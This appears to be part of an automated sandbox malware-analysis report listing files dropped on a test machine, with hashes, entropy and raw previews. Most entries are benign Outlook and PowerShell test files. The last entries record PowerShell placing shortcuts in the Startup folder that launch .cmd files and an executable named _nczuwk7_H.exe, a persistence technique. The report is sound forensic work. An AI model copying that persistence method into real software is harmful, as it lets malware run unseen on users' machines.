Preview:	............................................................................l.......4....eX..L..................bJ..............Zb..2...........................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................p.q.-L...........eX..L..........v.2._.O.U.T.L.O.O.K.:.1.c.3.4.:.a.3.5.2.9.8.b.3.f.c.e.b.4.c.e.3.a.2.9.c.f.7.c.5.1.6.7.d.d.a.2.2...C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.4.3.2.6._.2.0.4.0.4.-.2.0.2.4.1.2.1.2.T.0.6.5.7.3.3.0.4.8.9.-.7.2.2.0...e.t.l...........P.P.....4....eX..L..........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\firstrun.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	111
Entropy (8bit):	4.952042051358955
Encrypted:	false
SSDEEP:	3:YD2FjWWCe5IFXRFBe/KN1QyJ/RgAItX1QkgMXWgAO:YD5YIFzg3yJeHSkgMGgR
MD5:	CC01EFB826C920FD2F42E74489F1DF19
SHA1:	0A41590C3A22265397371A0720B62C1BB0D94ED9
SHA-256:	C4099C50A01AA994F4C4946ADEB7595F9026C38180D6A57A1B3318F64F846CC6
SHA-512:	128FA747E41D72605DF89601D8236E7581163B6F01852F3CD772F61DD3AE56FF630C927531D69174464937B1B08DB913C2E09BA832F5C6B14974A83A12DE1611
Malicious:	false
Preview:	* Starting First Run (12-12-2024 06:57:37) *.....HrPreSplashFirstRun called......HrPreLogFirstRun called...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01eqfnqd.top.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2o4cxsru.wnk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4bi4va4v.bwl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5j0vofso.5zm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fijd4kxv.5wb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0a45emz.o2l.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g4endory.cbl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hw4elip5.ojl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mvgap445.cb4.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p03qgs3y.22k.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pvidnsjc.jlu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u2uauo2i.g33.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vlw5l3qr.qiq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yyt1gnzn.3cs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zljad41r.hzn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqqjfosm.2wc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6d2bac8f1edf6668.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	9721
Entropy (8bit):	3.5123702984156164
Encrypted:	false
SSDEEP:	96:hKfECs/09vKfEn/1KfEl/5KfEeL/LTKfEC5/K:hKAMKo1KG5KNHKLK
MD5:	D89ECB53D82EE7EEB66E664E73291CC7
SHA1:	FF9789CD02590C5E4CBF52716F973777E437D438
SHA-256:	6B88CDA40B5B90AF9FE8E3981C78EE2D16D3DE7AD5E9F1D272C2D117930F8CCD
SHA-512:	AE49F5C7C5FD26E6DBAFFEC773636ACA2E77FDD1B2285F9482F2CFCE613BF9034BDA23C4C0A61E6B5BE42E417A46846F8E94013BE7630BEED798297D927A9E8D
Malicious:	false
Preview:	...................................FL..................F.@.. ....Q......j....L...z...... G....................../....P.O. .:i.....+00.../C:\.....................1....."Y.\..PROGRA~1..t......O.I.Y$_.....o..............J.....mq..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....j.1.....6S.S..MICROS~2..R......6S.S.Y(_....y2........................M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.....N.1.....6S.S..root..:......6S.S.Y$_....."....................x...r.o.o.t.....Z.1.....6S.S..Office16..B......6S.S.Y$_....@1.....................D..O.f.f.i.c.e.1.6.....b.2. G..6S.S .OUTLOOK.EXE.H......6S.S.Y1_..... .....................q..O.U.T.L.O.O.K...E.X.E.......j...............-.......i...........[........C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE.... .-.c. .I.P.M...N.o.t.e.;.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.R.o.o.t.\.O.f.f.i.c.e.1.6.\.O.U.T.L.O.O.K...E.X.E.........%ProgramFiles%\Microsoft Office\Root\Office16\OUTLOOK.EXE..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E5DEKI7EW9BIYHDB48NV.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	9721
Entropy (8bit):	3.5123702984156164
Encrypted:	false
SSDEEP:	96:hKfECs/09vKfEn/1KfEl/5KfEeL/LTKfEC5/K:hKAMKo1KG5KNHKLK
MD5:	D89ECB53D82EE7EEB66E664E73291CC7
SHA1:	FF9789CD02590C5E4CBF52716F973777E437D438
SHA-256:	6B88CDA40B5B90AF9FE8E3981C78EE2D16D3DE7AD5E9F1D272C2D117930F8CCD
SHA-512:	AE49F5C7C5FD26E6DBAFFEC773636ACA2E77FDD1B2285F9482F2CFCE613BF9034BDA23C4C0A61E6B5BE42E417A46846F8E94013BE7630BEED798297D927A9E8D
Malicious:	false
Preview:	...................................FL..................F.@.. ....Q......j....L...z...... G....................../....P.O. .:i.....+00.../C:\.....................1....."Y.\..PROGRA~1..t......O.I.Y$_.....o..............J.....mq..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....j.1.....6S.S..MICROS~2..R......6S.S.Y(_....y2........................M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.....N.1.....6S.S..root..:......6S.S.Y$_....."....................x...r.o.o.t.....Z.1.....6S.S..Office16..B......6S.S.Y$_....@1.....................D..O.f.f.i.c.e.1.6.....b.2. G..6S.S .OUTLOOK.EXE.H......6S.S.Y1_..... .....................q..O.U.T.L.O.O.K...E.X.E.......j...............-.......i...........[........C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE.... .-.c. .I.P.M...N.o.t.e.;.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.R.o.o.t.\.O.f.f.i.c.e.1.6.\.O.U.T.L.O.O.K...E.X.E.........%ProgramFiles%\Microsoft Office\Root\Office16\OUTLOOK.EXE..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_H.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Thu Dec 12 10:56:17 2024, mtime=Thu Dec 12 10:56:17 2024, atime=Thu Dec 12 10:56:17 2024, length=481, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1130
Entropy (8bit):	4.63775661449947
Encrypted:	false
SSDEEP:	24:8pBMPFA4ZJ/Kx9WUART9KDEMBSnv7RdGJTvm:8MPF1ZJ/W9a19KDvBSTRd8Tv
MD5:	18AD16854447A7C3EF0B70BE5AB67D87
SHA1:	A2C21FF3F71B2877CCA564DAE240AEAA83559841
SHA-256:	D619B9CF45BF12C7E18AFBF02A3EA5E454C3BE48236A954DDE763288DAFAAF28
SHA-512:	98104740280AD05E63F9A9B1EBC593DF78DB4904AEBCCA480B958CBA2173C5838665EE1EC36916B69EB0525A045D5056C613592EE9FF72625A5D10C4FA844FDC
Malicious:	false
Preview:	L..................F.... ....N..L...N..L...N..L...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwH.Y.^.....u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1......Y._..Public..f......O.I.Y._....Du..............<.....aN..P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....z.2......Y._ .W1064_~1.CMD..^......Y._.Y._....\|U....................aN..W.1.0.6.4._.0.3._.n.c.z.u.w.k.7._.H...c.m.d.......U...............-.......T...........x.z......C:\Users\Public\computer_nczuwk7_H.cmd..5.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.n.c.z.u.w.k.7._.H...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.............!............v..*.cM.jVD.Es.!...`.......X.......921702..............n4UB.. .\|..o.+.......G.P..#.....n4UB.. .\|..o.+.......G.P..#.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAA.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	549
Entropy (8bit):	2.9785476015559973
Encrypted:	false
SSDEEP:	6:4xtU1xRcr+GKyZjlH+mNmIKyZjlHNtwljlHKfjlHNZ2bOlyvEMl4Yrlcdt/:8GHRcrhK6ehIK6ITIT2bOkvEMBi
MD5:	264F3DA553F311717CF21028761FB596
SHA1:	593782A5A0180A8ECC285FDFF3DA7D0EEB5963A0
SHA-256:	5328502DB80173E319D3CD7C4D20AE8E560B12B90096EBBDCCD924365A5C3312
SHA-512:	D27E58148F6F9B442E1543014C611F1C98698797EBAD5816B79992CF012F5AFF8CF0E81A643F3CD5A98AD0999405E0B694063F2D82AFB2EF27ED48E490CE0951
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._nczuwk7_H..F............................................_.n.c.z.u.w.k.7._.H.....r.2..........._nczuwk7_Hi7.exe..R............................................_.n.c.z.u.w.k.7._.H.i.7...e.x.e... ...6.....\.....\.....\.....\.....\.....\.....\.....\.....\._.n.c.z.u.w.k.7._.H.\._.n.c.z.u.w.k.7._.H.i.7...e.x.e...C.:.\.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAT.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.0211073162410607
Encrypted:	false
SSDEEP:	12:8wb4RcrhK6YyZWDTIWMEYKISabOkvEMBi:8wPc6YyZW/IWfYKInDEMBi
MD5:	2D5750B0EFF484600006CFDBABD7C98C
SHA1:	D02DBF3A643FCFFF51A919211254E73DC2701AC9
SHA-256:	FC1660909963718ABE12741D9BB6FE7C6117C397EABC5C171907DE088E016031
SHA-512:	F5C41E4ADF0CEFCFCD1F3EF8697E5B238F09A09EACBB4396503736F170F3FD09E41A6DCA4005CA3047F6FCC42073C059F4D3A68D527A8F7EE9A40CE2F78F09A3
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._nczuwk7_H..F............................................_.n.c.z.u.w.k.7._.H.....l.2..........._nczuwk7_H.exe..N............................................_.n.c.z.u.w.k.7._.H...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.n.c.z.u.w.k.7._.H.\._.n.c.z.u.w.k.7._.H...e.x.e...C.:.\._.n.c.z.u.w.k.7._.H.\...C.:.\._.n.c.z.u.w.k.7._.H.\._.n.c.z.u.w.k.7._.H...a.t.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HEX.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.020312786264282
Encrypted:	false
SSDEEP:	12:8wb4RcrhK6YyZWDTIWMEYKISxBbOkvEMBi:8wPc6YyZW/IWfYKIaDEMBi
MD5:	6BBD0540D83B6B4D211C279586A4A160
SHA1:	50A6B9AC97CB48AB22BECA1817AA9BE23C44867F
SHA-256:	AD056F2F2712B6EA44C670EEDDF279C6EC8F5F8D3181F85FBF79EEBEFA382CA3
SHA-512:	DAA3655929E8B187A2364D3764C26030F3589D6CF3CECFDF5D0E0E2B5760E9BF50F1AC6C7FAD40B5809EA25E162CFB634B11B116C068D58D3CE8EC16F35F75EC
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................`.1..........._nczuwk7_H..F............................................_.n.c.z.u.w.k.7._.H.....l.2..........._nczuwk7_H.exe..N............................................_.n.c.z.u.w.k.7._.H...e.x.e.......4.....\.....\.....\.....\.....\.....\.....\.....\.....\._.n.c.z.u.w.k.7._.H.\._.n.c.z.u.w.k.7._.H...e.x.e...C.:.\._.n.c.z.u.w.k.7._.H.\...C.:.\._.n.c.z.u.w.k.7._.H.\._.n.c.z.u.w.k.7._.H...a.i.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_Hy.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Icon number=1, Archive, ctime=Thu Dec 12 10:56:17 2024, mtime=Thu Dec 12 10:56:17 2024, atime=Thu Dec 12 10:56:17 2024, length=482, window=hidenormalshowminimized
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.6433356819951275
Encrypted:	false
SSDEEP:	24:8XBB7MPFA6Qu/jxA6hDEMBSnv7JVGJTvm:8XBBoPF/Qu/jC6hDvBSTJV8Tv
MD5:	D4E759B54404F82D09034D2CCCF4673B
SHA1:	CA516DE682F28921AB520DE7BED10C6F6DAAA877
SHA-256:	E305017596707A0285C49AF21D0B96A85DBC4080AA656FB7B0D6CCA64183DF2C
SHA-512:	338D550266A13FC951ECA8EC753654C77C9334E58A98A07984969EA843EC6635883AF14316DDA7361BB01734A57A1482A358D9A655DB650A60B15F9E0D122E88
Malicious:	false
Preview:	L..................F.... .......L......L......L...............................P.O. .:i.....+00.../C:\...................x.1....."S...Users.d......OwH.Y.^.....u..............:.......8.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1......Y._..Public..f......O.I.Y._....Du..............<.....aN..P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....\|.2......Y._ .W1064_~2.CMD..`......Y._.Y._.....X....................7.\.W.1.0.6.4._.0.3._.n.c.z.u.w.k.7._.H.y...c.m.d.......V...............-.......U...........x.z......C:\Users\Public\computer_nczuwk7_Hy.cmd..6.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.W.1.0.6.4._.0.3._.n.c.z.u.w.k.7._.H.y...c.m.d.-.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.I.n.t.e.r.n.e.t. .E.x.p.l.o.r.e.r.\.i.e.x.p.l.o.r.e...e.x.e.............!............v..*.cM.jVD.Es.!...`.......X.......921702..............n4UB.. .\|..o.+.......G.P..#.....n4UB.. 